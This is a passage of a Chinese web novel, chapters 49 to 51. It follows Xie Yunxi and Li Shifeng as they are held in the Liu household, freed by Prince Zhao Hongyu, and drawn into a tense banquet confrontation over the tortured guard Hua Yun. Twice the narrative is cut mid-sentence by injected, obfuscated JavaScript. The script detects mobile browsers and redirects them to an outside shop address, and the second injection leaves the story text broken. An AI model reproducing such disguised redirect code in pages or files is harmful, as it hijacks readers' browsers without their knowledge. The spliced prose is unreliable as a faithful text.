“也不是不可以,大人,我对此事并无异议。”李时丰眼见就要开口,谢筠熙先一步松开他的下巴悠悠留下了这句轻飘飘的话,而后便以一种十分放松的姿态扑到了先前早已铺好的被褥中,甚至兴奋地打了个滚。 李时丰原本的那份得意这下被谢筠熙彻底打压下去,他正想在慌乱中起身,忽的发现自己的衣角被谢筠熙这厮轻轻扯住,紧接着就看见一张不怀好意的脸从被褥中缓缓冒出,李时丰听见谢筠熙那带着几分调戏意味的话语:“别走啊大人,你不是说你不介意吗? 49. 不祥 谢筠熙撑起上半身,好整以暇地拿手掌支住下巴,眸光含水望向李时丰,朱唇轻启:“玩不起啊,大人。” 谢筠熙刻意压低了声音,正要起身的少卿大人顿了顿,一丝不易察觉的红晕爬上耳根,他冷哼一声,又重新坐了回去。 “时候不早了,睡吧。” 言罢李时丰一把掀开被褥,将它草草铺平,脱下鞋袜侧身就要往上躺。 谢筠熙虽然没有洁癖,但外衣不上床的本能刻进了她的骨子里,她拉住李时丰的手,义正言辞地命令:“大人,请把外衣脱了再上榻。” 李时丰刚放上榻的半只脚还没沾到被单被迫放下来,他定定看向谢筠熙一言不发,熟料谢筠熙在这件事上坚持得很,如同母鸡护崽般也不嫌地上脏,趴在床边就伸开双臂死死扒住床沿,僵持之下,李时丰败下阵来,认命地将外衣褪去,露出内里的亵衣来。 谢筠熙这才满意地松开了床沿,准许李时丰上榻。 她拍拍膝盖从地上起来,却忘了自己腿上的淤青,谢筠熙刚想站直身子,就被疼得龇牙咧嘴,一个踉跄往床上摔去,可怜床上只待了一个少卿大人,谢筠熙下意识李时丰的身上倒去,下一秒两人就一起跌在被褥间,少卿大人身上本就单薄的亵衣这下彻底敞开,壮硕的胸肌和谢筠熙来了个结结实实的亲密接触。 一时之间心跳如擂鼓,李时丰身上的温度让谢筠熙浑身不自在起来。 这人气血怎么这么足,额啊啊啊啊,我的脸好烫,不行我要起来。 明明这也不算是第一次坦诚相待了,谢筠熙却觉得这次的氛围分外诡异。 好吧,上一次其实也没有正常到哪里去吧…… 谢筠熙心虚地想着,正要自觉地从李时丰身上离开,少卿大人却出乎意料地没有出声,神情复杂地看向她,一时之间连亵衣也忘了拢上。 “咳,该睡了。”谢筠熙拿下插在发间的木簪,乌黑的长发披落肩头,谢筠熙别过头,企图遮挡飞上脸颊的红霞。 李时丰默默无言将松散的亵衣重新合上,拍拍身侧的空位,眼又直直望向谢筠熙。 “大人的意思是,让我睡里侧?”谢筠熙有些不大确定。 “嗯。”李时丰点头。 “好……吧。”谢筠熙应声,也将自己身上的外衣三下五除二地脱净,鞋袜和李时丰的并排置于地上,又侧身跨上床,岔开腿从李时丰身上越过到里侧。 经刚刚那突发的意外,谢筠熙有些不敢直视此男的眼睛,而且她分明感受到某人那道炽烈的视线没有消散,这让她有些方寸大乱。 偏生李时丰好似没有察觉到她的窘迫,饿狼盯上羊羔似的,就差猛扑上来了。 他今天怎么如此奇怪…… 谢筠熙暗想着,兀自钻进被褥中,便立刻侧过身和白墙面面相觑。 “谢……筠熙?” 李时丰这一声让谢筠熙浑身一震。 说真的,来大辰这么久了,第一次听到自己的名字出现在别人口中,这种感觉,真是奇妙…… 谢筠熙僵着半边身子转过去了一些,但依旧没有直面李时丰。 她抓起被褥的一角,把自己的脑袋默默埋了进去:“大人,作甚?” “没什么,就叫叫你。” …… 谢筠熙有些无话可说。 “谢筠熙,你刚刚脸红了。”李时丰措不及防地开口。 方才的窘迫感再次涌上心头,谢筠熙刚想辩解,急急翻身,却恰好对上了李时丰那永远看不出喜怒的眸子。 屋内的烛火并没有被熄灭,李时丰挡住了一部分光线,高大的身躯罩在谢筠熙上方,也投射下一片阴影。 不出所料的,谢筠熙觉得自己的脸又红了。 我什么时候脸皮这么薄了。 谢筠熙不由开始怀疑人生。 “看,又红了。”李时丰勾起嘴角。 “我……那……那是因为大人你离得也太近了些。” 谢筠熙心虚的移开目光。 “哦?”李时丰不仅没有自觉地拉开距离,反而贴得更近了些。 “大人……”谢筠熙被他这举动一吓,往后贴上白墙,微凉的触感从背后传来,让她即将燃烧的大脑稍微冷静下来了些。 李时丰将她的反应全部收于眼底,一种从心底冒出的愉悦感传遍全身,不断挑衅着理智的弦。 承认吧,李时丰,你钟情于她。 少卿大人的脑海深处突然冒出这样一句话,把他自己也吓了一跳,可沉静下来反复品味,李时丰似乎并没有什么不可置信。 他似乎欣然接受了这个事实,只是眼前之人就不一定了。 谢筠熙见李时丰沉思,赶忙趁此机会将被褥一掀,推开李时丰的胸膛,转身再次和白墙自成一对。 “夜深了,大人,有什么话明日再说罢。”她闭上双眼,企图掩盖自己的慌乱。 快睡着快睡着快睡着快睡着快睡着…… 谢筠熙这样想着,紧绷的眼皮竟真的开始放松下来,许是今日实在太过劳累,没过多久她就沉沉进入了梦乡。 另一边,李时丰见这个女人不管不顾擅自睡去,只得无奈地摇了摇头,下床将火烛熄灭,一片黑暗之中,他掀被躺下,大脑却无比得清醒。 不知过了多久,两人的呼吸声终于趋于相近。 第二日清晨,李时丰觉得自己身上似乎有什么正大肆缠着自己,睁开眼一看,谢筠熙的手和腿早已不安分地缠上了李时丰的身子,她如同一只八爪鱼,死死扒住李时丰不肯松开。 李时丰正要发作,转头一看谢筠熙那把自己压得扁下去一块的脸蛋,最终满口的怨言只化为了一句叹息。 “起来了,谢筠熙。” 但他依旧要无情地把谢筠熙叫醒。 半晌,没有任何动静。 “身在柳府都能睡这么香。”李时丰忍不住抽出自己的手,轻轻捏上谢筠熙的脸蛋,两指之间逐渐开始加力。 “嗯嗯嗯……”谢筠熙正做着美梦,突然被一阵痛楚打断,她将小脸皱成一团,不情不愿地睁开了眼。 映入眼帘的是李时丰那张三百六十度无死角的俊脸。 而那作恶的手,正掐在自己的脸上。 “!!大人!!”谢筠熙这才发现自己的睡姿究竟有多么离谱,她几乎是从李时丰身上弹开的。 “起来吧,一会该有人来了。”李时丰却比他淡定很多,只是谢筠熙脸上的红印让他忍不住发笑。 李时丰……他在笑什么?!! 谢筠熙被他这莫名的笑容吓得不轻,她忙薅来那有些雾蒙蒙的铜镜,随便拿袖子擦了擦,白净的脸蛋上两道明晃晃的红印尤为清晰。 联想到刚刚那莫名的痛楚,谢筠熙大概知道眼前乐不可支的这厮究竟做了什么。 昨晚的暧昧,旖旎的氛围全部一扫而光。 亏我今早起来还不知道要怎么面对这人!竟敢耍我! 谢筠熙正气愤时,李时丰早已穿上了外衣和鞋袜,径直走向门口。 “劳驾,有洗漱的面盆和水吗?”他靠在门边,满身松懈地询问那两个睡眼惺忪的家卫。 那两人面面相觑,半晌一人出来作了个揖:“大人请回屋等待,小的这就去取。” 明明是被绑来的柳府,倒真像七大轿八大抬请来柳府的宾客了。 “你们两个还真是惬意,要隐居也不找深山老林,偏偏要找这般充满腐朽味的地方。” 李时丰毫不意外这熟悉的声音,一抬头就见赵泓玉正负手站在他与谢筠熙屋子跟前。 “殿下,来了。”李时丰十分自然地同赵泓玉问好。 “你倒是一点都不意外,时丰,本王为了救你们两个,都亲自前来,不该叩谢本王吗?”赵泓玉走向李时丰。 “多谢殿下。” 李时丰只是淡淡回话,谢筠熙此时也换好了衣裳,见李时丰倚在门口迟迟不进来,一边替自己绾发一边大步向门口走去,谁知刚把脑袋探出门,就看见那抹熟悉的白色身影。 “殿下!!?”谢筠熙惊叫出声。 衡王来这里做什么?是柳无涯的计谋?赵泓玉会为了区区两个棋子坐到这份田地? 无数的疑惑涌向脑中,谢筠熙忽觉得自己的神经有些错乱。 留下的家卫哪里见过这种阵仗,见衡王走进,颤颤巍巍地向他行礼,谁知赵泓玉两袖一挥,就对那家卫说道:“没事的,本王现在不会随意走动,更不会将这二人带出府,国师知道本王办事的风格,你且自行离开吧。” “可……殿下,没有大人的命令……” “怎么,本王的命令便比不上国师的话了?你个卑贱下人好大的胆子。”赵泓玉目光如刺。 那家卫被吓得双腿一软,忙不迭连声应下命令,哆嗦着退开。 “你且放心,国师不会怪罪于你。”赵泓玉见他离开,又换上一副温和的嘴脸补上这句。 “是……”那家卫逃也似离开了。 正巧此时另一名家卫拿着东西回来,远远听见赵泓玉对自己同僚的话,又见着他落荒而逃的模样,自己的腿也开始打起颤来,赵泓玉回头望去,只一个眼神示意,那家卫走上前把东西恭恭敬敬递给李时丰,亦匆忙离开。 “柳府的人看上去胆子倒也没有多大嘛。”谢筠熙在门旁嘀咕着,手里被塞进一块净面的手帕。 “快去洗漱,一会该走了。”李时丰催促着拍了拍谢筠熙的肩。 赵泓玉瞧着这二人越来越亲昵的举动,露出意味不明的笑。 “走?” 李时丰没有说话,只是抱胸看向赵泓玉。 “柳无涯要见我们。”赵泓玉又掏出他那把玉骨扇,掩唇笑道。 谢筠熙没有再多问,只是把盥盘提到屋内那仅有的桌上,用最快的速度开始洗漱。 门外李时丰和赵泓玉似乎还在交谈些什么,谢筠熙只看见李时丰又一副不太想搭理赵泓玉的模样,就知道这货准是又没说什么好话。 李时丰和谢筠熙出门统共用了不到半刻的时间。 因为赵泓玉的看似不请自来,柳无涯安排了府内最好的宴会厅来招待衡王,三人悠悠然来到宴厅时,柳无涯和柳洵早已恭候多时。 “殿下可真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738415|183262||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是拿老臣这当自家了。”柳无涯依旧笑得得体,但赵泓玉那散漫的态度显然引起了他的不满。 “许久未见,国师大人安啊?”赵泓玉领着身后两人入了堂,“唰”一声又展开那把扇,一副熟稔的模样。 “老臣安得不能再安了,多谢殿下关心。”柳无涯明显听出了赵泓玉的话里有话。 “那本王就放心了。” 不愧算是师徒啊…… 连言语间的假模假样都如此相似。 “二位昨夜歇息得可还好?敝宅有招待不周的地方还请见谅。”柳无涯看上去懒得再与赵泓玉交谈,便把话题引到了谢筠熙和李时丰身上。 “劳大人费心,下官很是满意。”李时丰淡淡回应。 “谢家小女,你呢。”柳无涯将目光转向谢筠熙,看似若无其事,却让谢筠熙从心底感受到了此人的探究。 “贵府所用,皆是上乘,与小女子从前在府中所用相较仍要好上几分,小女子和大人一样,俱已知足。” 谢筠熙端是一副温婉可人的模样,可在座的除了柳洵谁都知道她的讥讽。 丞相府所用尚连柳家的一处简陋之所都比不上,可见柳家究竟奢靡到何种程度。 柳洵记得赵璟曜让她去查的这个女人,当时柳家和赵璟曜的人都被她耍得团团转,但他万万没有想到的是,此女竟是谢康的女儿。 谢筠熙似有所感,往柳洵的方向看了一眼,这个祸害后朝的奸佞与现代发掘的画像大相径庭,并非尖嘴猴腮满眼心机,反倒有几分衣冠禽兽的意味,也算是模样周正。 果然人不可貌相啊……也是,原本这柳无涯也没奇形怪状到哪里去,想来柳洵也不大可能了。 谢筠熙感叹着。 她看向自己的眼神到了柳洵眼里却是另一种深意,让他不由心生警惕。 “如此甚好,那老夫也便放心了。” 寒暄的话终于结束,赵、谢、李三人甫一落座,堂上的氛围逐渐开始剑拔弩张起来。 “国师大人,何时来的兴致请非柳家的小辈来府里相谈啊?”赵泓玉开口就有些咄咄逼人。 “这个殿下自然不必过问,李大人和谢小姐其实早已预谋拜访敝府,此话不错吧。”柳无涯端坐在首座,斜睨了那紧挨的二人一眼。 好一个“早有预谋”,柳无涯怕是已经知晓我和李时丰的行动,有些不大妙啊…… 谢筠熙暗自握紧藏在袖间的拳头,面上却没有什么异色。 “是啊,柳府鼎鼎大名,何人不想一睹其风采。”谢筠熙适时开口。 “谢小姐这张嘴可真是灵巧,当初在沐柳巷也是这样忽悠得老夫的人作无用功吧。” 柳无涯无端提前往事,让谢筠熙心中一凛。 “放从前本王理应称国师一句夫子,可如今看来夫子带出的人,竟都是些蠢材,连如此明显的骗术都分辨不出来。”赵泓玉接过话茬。 殿下你舔舔嘴唇可以把自己毒死了…… 谢筠熙讪讪转过头,虽然柳无涯没什么反应,但一旁的柳洵早已一副愤愤不平的模样了。 “殿下,您这话未免太失礼数了些。” “本王让你说话了吗?不过是一介户部侍郎,柳家庶子,也敢插本王的嘴,你好大的胆子。”赵泓玉收起扇子,面色阴沉下来。 柳洵被他的眼神威慑,竟真的不敢再言语。 “家孙逾矩,望殿下恕罪。”柳无涯撇了柳洵一眼,面上的笑却再也挂不住。 “本王有说错吗?夫子?”赵泓玉一双细长的狐狸眼向上扬起,嘴角却没有一丝笑意。 “是,老夫如今已然身衰力竭,大不如前,教不出像殿下这般伶俐的学子。”柳无涯轻扶额头,哀哀叹了一口气。 “承蒙国师大人夸赞。”赵泓玉心安理得地略去柳无涯嘴里的阴阳,权当这是在夸奖自己。 是因为被柳无涯打断了原本的计划吗……总觉得今日的赵泓玉相较往日愈加牙尖嘴利。 “只是殿下说归说,老夫倒是想问问二位小友,昨夜前去贵妃旧屋所为何事?” 昨晚那声冷笑果然是柳无涯!! 意料之中的结果却让谢筠熙有些紧张,此话一出满堂俱静。 若答是,坐实了去旧屋的事实;可若答不是……花昀!! 谢筠熙猛然转头,看向紧闭的宴厅大门,又转过来。 李时丰察觉到谢筠熙的不安,偷偷将手覆于谢筠熙安放在腿间的双手拍了拍以示安慰。 柳无涯自然没有放过谢筠熙的反应,他嗤笑一声,近乎残忍地向李时丰说出那句话:“李大人,老夫的人可还好用?” “国师是指……” “带上来。”柳无涯拍拍手掌,宴厅的门倏得打开,白光乍然透进屋内,将谢筠熙晃得眯起了眼。 直到适应光线,入目的便是那血淋淋的身躯,浓重的血腥味在宴厅里弥漫,充满了不祥。 谢筠熙呼吸一滞。 那是比昨日更加惨烈的花昀,就这样背着满身的血痕和紫青的面庞出现在她眼底,谢筠熙不由自主地回捏住李时丰的手,微微颤抖着。 50. 威胁 “花昀,怎么不抬头。”柳无涯冷冷道 谢筠熙屏住呼吸,心如擂鼓,她分明看见花昀那伤痕累累的面色之下,满是倔强与决绝,这让她不由开始担心今日这一遭不仅是鸿门宴,还极有可能见到柳无涯非人的一面。 “不说话?老夫可真是养了个好属下,此番去了大理寺,连行事都同大理寺一般了吗?”柳无涯逐渐提高声音,将“大理寺”三个字加重语气。 “大人,昨日之事的确是属下疏忽,所有惩戒,属下都认了。”花昀强忍着疼痛抬头,看向国师的眼里没有半分畏惧。 谢筠熙被他那份坚决唤起了从前的回忆,心脏仿佛被无形之手牢牢桎梏:他们每次都是这样,无论何时,无论何地,无论何种情形,都是这样。 “哎,花昀啊花昀,老夫给过你机会,昨日洵儿问了你半天,你皆搪塞应付,如今殿下,少卿大人都在,老夫就当着他们的面好好审一审你。”柳无涯被柳洵扶起,缓缓走下首位,离花昀不到三寸时停下了脚步。 李时丰眉头始终紧锁不放,默默无声注视着这一切。 宴厅里的氛围僵到极点。 “大人想要问什么?” 柳无涯正要有所举动,却被李时丰的话拦了下来。 他直起腰满含深意地回望发话之人。 “少卿大人,你昨晚与你这小相好真的没有在敝府随意走动吗?”柳无涯直接了当的询问让李时丰不由有些意外,但不至于无法应对,只是听见“相好”二字时,堂上众人的面色精彩纷呈,谢筠熙被这莫名其妙的氛围弄得有些无地自容。 “国师觉得呢?”李时丰反问。 “年轻人,老夫知道,像你们这种年纪的孩子,压不住好奇之心,这很正常,可老夫这‘忠心’的属下却帮着你们胡作非为,这点老夫可没无法忍受。” 柳无涯说罢,又居高临下地俯视低头不语的花昀。 “是晚辈有些唐突了,大人,夜间外出之事的确属实,可大人自居待客之道,晚辈和谢小姐所去之处,也并非什么贵府的机密之地,只是偶感大人心存疑虑,似乎一直在派人暗中监视,晚辈实在不适,花侍卫无非替我们解决这一不爽之处罢了。” 李时丰倒也没藏着掖着,甚至比柳无涯还要怡然自得。 柳无涯听罢,竟有些气极而笑:“少卿大人倒是坦然。” “更何况若只为此事,对花侍卫行如此之重的刑责,倒是让晚辈有些出乎意料,贵府的作风原是如此决绝,传出去,对大人也不大好吧。”李时丰眼里染上狡黠,谢筠熙和赵泓玉一同侧目,神情俱是有些讶然。 “季家小子,老夫倒觉得,只是让你屈居与少卿一职,着实有些浪费,不若老夫向圣上谏言,将你这灵巧的口舌用到实处可好。”柳无涯怒极反笑,他离开花昀,径直走向这个不知天高地厚的小辈身边。 在场之人,只有柳洵听见祖父的对李时丰的称呼,脸色微变。 “大人谬赞了。”李时丰假意谦逊低头,眼里的讥笑却怎么也藏不住。 “如今看来,倒是老夫的不对了。”柳无涯回到首座,扶须坐下。 “花昀,原本想将你关上两日面壁思过,如今倒也免了。”柳无涯召人将花昀从地上扶起,又转头对李时丰道,“既然少卿大人如此中意老夫这不成器的属下,那便让他继续在你坐下当差吧。” 这是什么操作?!!谢筠熙有些讶然,她才不信柳无涯是这样宽宏大量之人。 花昀听此言却猛然抬头,看向李时丰的眼里分明写着拒绝。 李时丰自然也看懂了他的暗示,反手向柳无涯作揖:“大人,说到这个,晚辈有一事不解。” “问。” “花昀原本便是大人的下属,为何要将其放到大理寺当差,当初招人入大理寺时却未告知大理寺卿调职来历?更何况国师这般随意召回,怕是不合规矩吧” 这一问题在场的人都心知肚明,只是所有人都在揣着明白装糊涂。 “呵,小子,老夫想干什么,难道你就不是心知肚明了吗?” 柳无涯和李时丰二人谁都没将把话真的扯明白,可偏偏在座的人都能懂他们的意思。 真是好笑至极。 谢筠熙在心里冷笑一声。 “行了国师,我们也不必在此绕圈子。”赵泓玉站起身来。 柳无涯一副“看你究竟要干什么”的模样,心情复杂地凝视他这曾经的学生。 “这两个人,本王今日要带出府,至于花昀,现在既是大人的属下,那就理应被当作大人分内的事加之管束,其他的,本王也不屑于深挖夫子当年干的那些腌臜事,至于之后到底谁赢,咱们各凭本事,这个决断,国师可还满意?”赵泓玉拿扇骨轻拍花昀的肩头,冲柳无涯露出挑衅的笑容。 殿下……您原来这么刚的嘛…… “大人,不可放这二人出府,他们昨日行事诡异,若是出府,难以绝后患。”柳洵见此连忙向柳无涯请示。 “哦?绝后患?这么说来,大人还想谋杀朝廷命官喽?”赵泓玉捻起扇尾,轻抚过下颚。 “柳洵,你且下去,老夫如今是在和当今三皇子说话,没有你插足的份。”柳无涯不耐烦地驱赶自己不会说话的次孙。 “是。”柳洵愤懑地看了一眼李时丰一干人,行礼后推门而去。 “花昀,老夫先罚你一月俸禄,且在此期间不得出府,死罪可逃,活罪难免,你必须待在自己的房里思过,其余的,日后再议。”柳无涯此时松口,叫下人把几乎站不起身的花昀抬出了屋。 “大人好气量。”赵泓玉以扇代掌,轻拍两下以示赞赏。 “哪里比得上殿下,老夫还是莽撞了。” 花昀…… 谢筠熙想起了秋芸的下场,看柳无涯那伪善的模样,不由又往花昀离去的方向看了一眼。 “谢家小女,你似乎很关心老夫这个下属?” 这一望,让谢筠熙被柳无涯喊住了。 “千错万错,终究是我与大人的疏忽,花侍卫平日里做事细致,小女心中有愧罢了。” “你倒是和你爹像得很,都是一副菩萨心肠,只可惜这样的人,往往活不长久。” 柳无涯端起属下送来的茶,小啄一口又说着。 连柳无涯也这样说…… 谢筠熙不知道第几次听到人们这样评价谢康。 “活不长久那又如何,乐得自在便好。”谢筠熙下意识反驳。 刚说出这话,谢筠熙就觉得自己的手被李时丰狠狠掐了一下,疼得差点叫出声来。 “哦?竟是如此?”柳无涯又笑起来。 “大人还有话要说吗?”赵泓玉以此为最后一句话。 “诸位要是觉得柳府待得舒适,也可过几日再走,何必如此着急。”柳无涯不紧不慢地又喝上一口茶。 “大人,不必了,就不过多叨扰国师了。”李时丰终于又开上了口。 “那老夫就不送了。”柳无涯挥挥手目送三人从座上起来到离开。 一时之间屋内外寂静无声,谢筠熙环顾四周,若非赵泓玉在场,只怕柳无涯一声令下,这门内外的暗卫就会不知从何处冒出,将二人困于宴厅不得动弹。 直到出了柳府门,回望门口那面色不善的侍卫,谢筠熙仍会觉得心有余悸。 可出门的景象却让谢筠熙也吃了一惊。 那柳府的外围屋檐上,不知何时蹲满了潜藏的灰衣之人,手里俱是搭着箭弩,对准了宴厅的方向。 螳螂捕蝉,黄雀在后啊…… 谢筠熙忽然觉得,还是赵泓玉更加可怕一些。 “妆匣还在吗?”谢筠熙刚一走出柳府之人的视线,便悄声向李时丰问道。 “在。”李时丰的回答让谢筠熙感到安心。 “什么妆匣?”赵泓玉不知何时侧身闪到二人身边。 “殿下,回去再说。”谢筠熙回头看了一眼柳府大门。 “也好。”赵泓玉顺着谢筠熙的目光,就见门口的柳府家卫正浑身警觉地看着离开的三人,只好回过身子继续向前走去。 这次赵泓玉没有直接吩咐谢筠熙和李时丰回到大理寺,而是用王府的马车把他们带到了自己的府邸。 马车之上,赵泓玉将李时丰的横刀重新交予主人手中,摸上这刀,李时丰连神情都柔和了些。 “殿下,下官不在的这些时日,大理寺的事可还顺心?”李时丰顺手扶了一把正准备跳下马车的谢筠熙,又扭头询问赵泓玉。 “虽说本王暂代时丰管了一阵,但就在熙老板失踪的次日,大理寺卿却从江南回来了,本王也因此得空来柳府寻你们。”赵泓玉摇了摇手中的扇。 “杜大人……”李时丰有些怔然。 杜寿年?如果我没有记错,这段时间他的确一直在江南出外差,可原历史记载,香楼案之后,他便一直未回京,大理寺的事也基本都交给李时丰在打理,直到……李时丰被英年早逝…… 思及此,谢筠熙的面色染上了些愁绪。 不会,现在香楼案的结局已被改写,一切都在变化,李时丰应该不至于被迫英年早逝了吧…… “殿下,那日陆贰和徐柒是一同与我去往镇北将军府的,可被柳府绑走的只有我一个,他们怎么样了?”谢筠熙使劲摇头,把那个可怕的可能性甩出脑中。 “好着呢,那日出事之后,你失踪的消息是他们告予本王的。”赵泓玉突然面露了然之色,“那老头是故意放这两人回去告诉本王这个消息的。” “为何?”谢筠熙有些不解。 “他想搅乱本王的计划……事实证明他也的确做到了这一点,原本这几日应该安排你进宫,可因此事耽搁,本王必须先往柳府跑一趟,而探查柳府的安排,应是在出宫后,这老头想干什么……”赵泓玉喃喃说着。 “大人,围住柳府的那些人,全是您的人吗?”谢筠熙突觉有些不妙。 “嗯,但那只是半数,而且你们一出府便全部撤离了。”赵泓玉的神情不变。 “那里面有多少是春满园的人?”李时丰不紧不慢接着说道呢。 “时丰你真是好聪明……”赵泓玉正想拍李时丰的肩膀,有什么东西突然闪过,让他愣在原地。 “殿下,我们最好再回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“今日不与你辩这些有的没的了!”谢筠熙在李时丰怀中将脸一捂,败下阵来。 “有时候真觉得你是块难以雕琢朽木。” 这句话李时丰故意没有说得大声,谢筠熙只听见了几个字眼,她总觉得不是什么好话,但此刻正赶路,她也便不再与李时丰掰扯。 春满园。 二人到达的时候,门外空无一人,让人乍一看以为今日此店不开张。 但谢筠熙和李时丰悄声进入时,事情却又是另一模样了。 “禁军!?”谢筠熙和李时丰预先换好了不是很起眼的服装,站在不远处的店铺往里面看,春满园里有些来来去去的人影,但内侧的门边似乎站了两排便衣禁卫,每个人身上都佩着刀,神情严肃,一看就不是寻常人等。 “看样子应当是了。”李时丰自然也瞧见了,却并没有特别惊讶。 “殿下在哪?”谢筠熙焦心地想往里面看。 “稍安勿躁。” 李时丰制止了谢筠熙的乱动,将她牢牢锢在手臂之下,自己却快速将春满园的方位看了遍,直到发现二楼雅间那个拿着扇子的身影。 赵泓玉推开雅间的窗户,对着外面勾了勾扇子。 “走。”李时丰立刻夹带上谢筠熙,轻巧地飞上二楼房檐,悄无声息地进入这间房。 一进房间,空气里似乎飘着若有若无的血腥味。 谢筠熙几乎下意识想起了花昀那伤痕累累的模样,她瞳孔骤缩,目光在屋内探寻。 雅间的屏风后转出来一个人,谢筠熙看见了那灰色的衣角,但并非她想象中的那人,抬起头来的灰衣人拽掉了覆盖在嘴上的布料,露出一张精巧的小脸来。 “灵蛇!?”谢筠熙有些意外。 “方才你和殿下一起去柳府了是吗?”谢筠熙瞬间猜出她这副模样的原因。 “对,属下办事不力,中了那老贼的阴招,求殿下责罚。” 谢筠熙这才注意到灵蛇的一只胳膊正软软垂在身侧无法动弹。 “无碍,你且去把衣服换了。”赵泓玉指了指屏风后。 灵蛇露出感激的神情,再次转到屏风后。 “殿下,事态如何了。”李时丰上前一步,向赵泓玉询问。 “父皇就在此间上方,杜寿年也来了。”赵泓玉扶额。 听到“杜寿年”三字,谢筠熙眼里放出光来。 “柳府一事是本王的疏忽,差点就让这老贼捉住本王的人了。”赵泓玉难得面露愧之色。 谢筠熙想起柳无涯在三人临走时那意味深长的眼神,突然明白过来:柳无涯知道赵泓玉不喜计划被打乱,将他引到柳府,又知道他一定会做两手准备,若赵泓玉不带人,柳府就将三人一网打尽;若赵泓玉带人,就可以捉住衡王的把柄。 果然姜还是老的辣…… 谢筠熙不由有些后怕。 说话间,灵蛇从屏风后出来,又换上了之前见过的那一身翠烟纱,袅袅婷婷从后走出,宛如变了一个人一般,同赵泓玉问好的声音也清脆了几分。 51. 谁比谁更阴 “坐下吧,本王离开柳府后,究竟发生了些什么?”赵泓玉指指对坐的位置,示意灵蛇在那落座。 灵蛇低下头,回想起方才的情形,眼里满是悔意:“回殿下,属下们收到了殿下的指示,正要退去,谁知柳无涯那帮狗奴才不知从何处射出一支箭矢,属下叫姐姐们离开后,是最后走的,那箭矢不偏不倚正好扎在了属下的胳膊上。” “灵蛇姑娘,你可保留了那枚箭矢?”谢筠熙立刻上前询问。 柳家的箭矢,也不知是不是…… “谢小姐,自然是将它收起来的,只是属下离开的时候过于慌乱,将它折断了一半。” 灵蛇有些歉疚。 “无碍无碍,姑娘且将那箭矢交予我看看。”谢筠熙忙安慰灵蛇。 “喏,就是这样一枚。”灵蛇将它从衣襟拿出,递给谢筠熙。 谢筠熙小心翼翼地接过,又从自己怀里掏出之前在镇北将军府找到的箭矢,将两件事物平齐地铺在桌上。 “这是从何处得来的。”赵泓玉见那两羽极为相似的小箭矢,不由颦眉。 “回殿下,这是那夜在镇北将军府所得,小女子捡到的这支箭矢看损坏程度可以推测它被遗弃已超过两年,而箭尾木质的断裂处,似乎刻有暗语字体,如今见到灵蛇给的这支,虽看形制有些许相似,但它似乎剔除了旧箭矢的弊端,变得更加实用了些。” 谢筠熙俯身凑近这两枚箭矢,神情肃穆,细细观察下来,得出了这些结论。 “这枚有吗?”赵泓玉听罢,亦仔细端详起它们来,“熙老板说的那暗语。” “不大好判断啊,殿下,中伤灵蛇姑娘的这枚箭矢断裂处太过靠前,小女子也无法确认上面是否有刻字,这必须得用更好的工具才有可能看出来。”谢筠熙摆摆手,表示目前无能为力。 “有一事可以确认,这暗语同秋芸在柳家学的那类似乎是同一套,所以镇北府的事大抵是和柳家脱不了干系,只是其中牵涉多少,有需要再做探查。”李时丰插进话来,作补充解释。 “灵蛇,你能判断为何柳无涯要莫名中伤你吗?”赵泓玉只得先对此事作罢,又问起柳府的企图。 灵蛇摇摇头:“属下不知,只是属下离开时,似乎看见那老贼从屋里出来,手上似乎还站了些什么,但那也只是一眼,属下忙着撤离,也无暇顾及那些了。” “站?”谢筠熙敏锐地捕捉到了些什么。 李时丰自然也没放过这个细节:“想来应当是某种活物。” 血……活物…… 谢筠熙猛地往紧闭的窗口望去,她似乎隐约听到了翅膀扇动的声音。 李时丰察觉到她的异样,从桌边站起身,缓步靠近窗口。 才刚打开木窗的一角,谢筠熙就看见了一片褐色的羽毛。 “别开窗!”谢筠熙惊叫出声。 李时丰搭在窗沿的手僵在半空中。 赵泓玉的脸色沉下去,他令正要起身的灵蛇坐下,自己起身快步来到窗边。 “是那老贼养的鹫鸟,本王从前见过一次。”赵泓玉面色凝重。 “陛下在楼上。”李时丰的心情亦没有看上去这么轻松。 柳无涯放鹫鸟是为了让它循着灵蛇身上的血腥味找到围住柳府之人的所在之地,这鸟既是有人养的,按柳无涯那训练下属的方式,这鸟估摸着也是受过训的,应当是为了传递某种信号。 还有一点,鹫鸟食腐。 谢筠熙的脑中闪过秋芸和那三只狸奴的眼睛。 一个不寒而栗的想法在谢筠熙脑中炸开。 不会吧,如果是这样的话,恐怕当朝国师的残忍程度恐怕还要再高上一个层级。 “京城之中不会无端出现鹫鸟,柳无涯是想引起父皇的注意,他知道父皇今日要去何处,与何人面见。”赵泓玉的眼里透出阴鸷,周身的怒意再难遮掩。 三楼雅间内。 赵砚宸正与归京的大理寺卿对酌。 “杜卿此次下江南,除了方才说的那些地方治理、市舶贸易、盐铁贩卖尔尔,可还有别的收获?” 杜寿年坐得板正,公事公办同当今圣上禀报:“回陛下,事关谢相的事,臣有本奏。” 赵砚宸扶额:“杜卿,这里不是朝堂,不必如此约束,可以暂时先将那些繁琐的礼节搁一搁,你这人啊,就是太过守矩,朕对你这点虽欣赏,可有时也需要稍稍放下些,杜卿这样,朕总觉得朕还在那累人的朝堂之上听你们说那些大小事,耳朵都要起茧了。” 杜寿年听罢有些怔愣,但他很快依着圣上的话改了口:“是,陛下。” 燕公公在一旁将二人的话尽收耳中,也忙跟着皇帝帮腔:“是啊,杜大人,这是在外,陛下每每微服私巡,从来都是平易近人的,若像你这般,就变味了。” “哈哈哈,就是如此。”赵砚宸今日显然心情尚佳,他拍怕杜寿年有些僵直的肩膀,开怀笑着。 